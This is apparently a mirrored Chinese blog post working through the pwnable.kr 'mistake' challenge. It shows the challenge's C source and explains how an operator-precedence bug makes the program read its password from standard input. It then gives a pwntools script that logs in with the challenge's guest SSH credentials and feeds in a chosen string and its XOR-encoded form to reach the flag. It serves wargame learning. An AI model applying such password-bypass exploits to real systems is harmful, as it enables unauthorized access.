zoukankan      html  css  js  c++  java
  • 【pwnable.kr】 mistake

    又一道pwnable,我还没放弃。。


    ssh mistake@pwnable.kr -p2222 (pw:guest)

    源代码如下:

    #include <stdio.h>
    #include <fcntl.h>
    
    #define PW_LEN 10
    #define XORKEY 1
    
    void xor(char* s, int len){
        int i;
        for(i=0; i<len; i++){
            s[i] ^= XORKEY;
        }
    }
    
    int main(int argc, char* argv[]){
        
        int fd;
        if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
            printf("can't open password %d
    ", fd);
            return 0;
        }
    
        printf("do not bruteforce...
    ");
        sleep(time(0)%20);
    
        char pw_buf[PW_LEN+1];
        int len;
        if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
            printf("read error
    ");
            close(fd);
            return 0;        
        }
    
        char pw_buf2[PW_LEN+1];
        printf("input password : ");
        scanf("%10s", pw_buf2);
    
        // xor your input
        xor(pw_buf2, 10);
    
        if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
            printf("Password OK
    ");
            system("/bin/cat flag
    ");
        }
        else{
            printf("Wrong Password
    ");
        }
    
        close(fd);
        return 0;
    }

    源代码中,对于文件打开错误条件判断出有问题

    fd=open("/home/mistake/password",O_RDONLY,0400) < 0

    最后执行的应该是=号,也就是说fd= 1,当fd=1,函数read读取就从stdin获得,这部分数据可以被用户输入。

    这就是为什么程序运行时会有卡顿。

    利用pwntools的sendline函数可以解决。

    from pwn import *
    import time
    s= ssh(host='pwnable.kr',user='mistake',password='guest',port=2222)
    s.connected()
    pro = s.process('/home/mistake/mistake')
    print pro.recv()
    
    fd_content = 'p4nda'+''
    fd_change = ""
    for i in fd_content:
        fd_change += chr(ord(i) ^ 1)
    pro.sendline(fd_content)
    print pro.recv()
    print fd_content
    print '[+] Sleep over.'
    pro.sendline(fd_change)
    print pro.recv()

    发现使用recv函数可以绕过源文件中sleep等待,原因是该函数是阻塞的。

  • 相关阅读:
    设计模式-总览
    restful
    springmvc异常统一处理(二)
    springmvc参数校验(二)
    跨语言的RPC
    更安全的RPC接口
    RPC版 “Hello World”
    用例(Use Case)
    参与者
    数据库知识基础入门
  • 原文地址:https://www.cnblogs.com/p4nda/p/7126294.html
Copyright © 2011-2022 走看看